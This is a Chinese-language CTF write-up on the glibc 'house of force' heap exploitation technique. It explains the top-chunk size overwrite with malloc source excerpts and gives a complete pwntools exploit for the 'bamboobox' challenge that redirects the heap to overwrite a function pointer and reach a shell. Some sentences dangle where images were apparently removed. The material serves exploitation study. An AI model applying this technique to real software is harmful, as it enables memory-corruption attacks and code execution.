house of force

前提：能通过溢出等方式能控制top_chunk的size域，可以自由控制堆分配尺寸的大小

公式为：malloc(size)中的size=new_top_chunk_addr-old_top_chunk_addr-0x1O
·new_top_chunk_addr为要转移top_chunk的目标地址。
·old_top_chunk_addr为已经被篡改的top_chunk.地址。

可以向前控制也可以向后控制

原理：在2.23和2.27的libc版本中，由于没有对top chunk的size合法性进行检查，因此如果我们能够控制top chunk的size位以及malloc在申请堆块时的大小不受限制

malloc中源码

victim = av->top;//获取当前top chunk的地址
size = chunksize (victim);//计算top chunk的大小

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
//MINSIZE就是堆块的最小size，32位程序为0x10，64位程序为0x20
//如果top chunk的大小大于nb(程序执行malloc需要分配的内存大小)
//加上MINSIZE的大小，就从top chunk中来切一块内存
//之所以要加上MINSIZE是要保证切割后剩余的内存要是一个完整的堆块
  {
    remainder_size = size - nb;//remainder_size为切割后的剩余大小
    remainder = chunk_at_offset (victim, nb);//remainder为切割前top chunk+nb的值，也就是切割后top chunk的地址
    av->top = remainder;//更新top chunk
    //下面两个set_head给切割出去的堆块以及切割后的top chunk设置新的size
    set_head (victim, nb | PREV_INUSE |
              (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head (remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk (av, victim, nb);//调试用的，这里没用
    void *p = chunk2mem (victim);//返回用户指针
    alloc_perturb (p, bytes);
    return p;
  }

漏洞的利用在这一行代码remainder = chunk_at_offset (victim, nb) 如果我们可以控制nb的值，其实就可以控制remainder的值了(remainder就是切割后的top chunk的地址)，这个手法最终的效果就是精准控制切割后top chunk的地址。

bamboobox

创建两个堆块看一下堆结构

x/16gx 0x1d09f000

这两个地方填的是

在程序刚开始的时候调用hello_message，在程序结束时调用goodbye_message

如果我们利用house of force 来控制topchunk ，往前控制内存，导致新分配的chunk 落在目标地址-0x10的位置，在里面写后门函数

计算目标地址与当前top_chunk的偏移

执行payload=p64(0)*5+p64(0xffffffffffffffff)之后

原本的topchunk变为了

执行add(offect,p64(magic_addr))
add(0x10,p64(magic_addr)*2)之后，变成

在退出程序的时候就会调用后门getshell

exp

import sys
from pwn import *
import subprocess
import re
import os
# from pwncli import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './bamboobox'
#libc = 
#r = remote(host, int(port))

r = process(binary)

# r = gdb.debug(binary)
# libc_ = cdll.LoadLibrary(libc)
#libc_ = ELF(libc)
elf_ = ELF(binary)
# srand = libc.srand(libc.time(0)) #设置种子

default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name: log.success(f"\033[95m{var_name} ：\033[91m0x{globals()[var_name]:x}\033[0m")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()

def show():
    sla("Your choice:",str(1))
    sla("")
def add(len,con):
    sla("Your choice:",str(2))
    sla("item name:",str(len))
    sla("name of item:",con)
def edit(idx,len,con):
    sla("Your choice:",str(3))
    sla("index of item:",str(idx))
    sla("item name:",str(len))
    sla("the item:",con)    
def dele(idx):
    sla("Your choice:",str(4))
    sla("index of item:",str(idx)) 
def debug():
    gdb.attach(r)
    pause()
add(0x20,b"aaaa")
add(0x20,b"aaaa")
magic_addr=0x400d49
payload=p64(0)*5+p64(0xffffffffffffffff)
edit(1,0x40,payload)
offect=0x1c2d000-0x1c2d080-0x10
add(offect,p64(magic_addr))
add(0x10,p64(magic_addr)*2)

sla("Your choice:",str(5))
it()